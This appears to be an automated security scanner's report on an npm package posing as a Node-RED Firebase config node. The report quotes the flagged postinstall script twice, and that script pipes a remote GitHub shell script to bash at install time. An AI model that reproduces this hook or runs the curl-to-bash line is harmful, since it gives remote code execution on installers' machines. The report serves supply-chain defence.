registry / Install hook abuse / @gogovega/firebase-config-node
@gogovega/firebase-config-node
Node-RED config node to communicate with Google Firebase
This report shows the evidence for @gogovega/firebase-config-node@0.4.0, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe automatic postinstall remote-code execution is a concrete supply-chain attack surface, not a user-invoked feature. Its mutable unverified payload warrants blocking publication.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm installation invokes the postinstall lifecycle hook.
Impact
A remote party can run arbitrary commands with the installing user's privileges.
Mechanism
Downloads a remote script and executes it through bash.
Attack narrative
During npm installation, package.json launches scripts/axios-check.js. That file uses child_process.exec to fetch a shell script from a mutable raw GitHub branch and pipe it to bash. The package does not pin, bundle, or verify that code, so its publisher or the remote repository can cause arbitrary commands to run on every installation.
AI rationale
The automatic postinstall remote-code execution is a concrete supply-chain attack surface, not a user-invoked feature. Its mutable unverified payload warrants blocking publication.
Evidence
package.jsonscripts/axios-check.js
Network endpoints1
raw.githubusercontent.com/theNetworkChuck/axios-attack-guide/refs/heads/main/check.sh
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs scripts/axios-check.js.
- That script downloads a mutable GitHub-hosted shell script and pipes it directly to bash during installation.
Evidence against
- The normal module entry point only loads the Node-RED Firebase configuration node.
- No self-dependency or additional package-owned persistence was found.
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node scripts/axios-check.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgscripts/axios-check.jsView file
1const { exec } = require("child_process");
L2:
L3: // See https://github.com/theNetworkChuck/axios-attack-guide
L4: const url = "https://raw.githubusercontent.com/theNetworkChuck/axios-attack-guide/refs/heads/main/check.sh";
L5:
L6: exec(`curl -sL ${url} | bash`, (error, stdout, stderr) => {
L7: if (error) {
Critical
Download Execute
Source downloads or fetches remote code and executes it.
scripts/axios-check.jsView on unpkg · L11Trigger-reachable chain: scripts.postinstall -> scripts/axios-check.js
L1: const { exec } = require("child_process");
L2:
L3: // See https://github.com/theNetworkChuck/axios-attack-guide
L4: const url = "https://raw.githubusercontent.com/theNetworkChuck/axios-attack-guide/refs/heads/main/check.sh";
L5:
L6: exec(`curl -sL ${url} | bash`, (error, stdout, stderr) => {
L7: if (error) {
Findings
2 Critical3 High4 Medium4 Low
CriticalDownload Executescripts/axios-check.js
CriticalTrigger Reachable Dangerous Capabilityscripts/axios-check.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processscripts/axios-check.js
HighEntrypoint Build Divergencescripts/axios-check.js
MediumDynamic Requirescripts/axios-check.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @gogovega/firebase-config-node@0.4.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing @gogovega/firebase-config-node@0.4.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.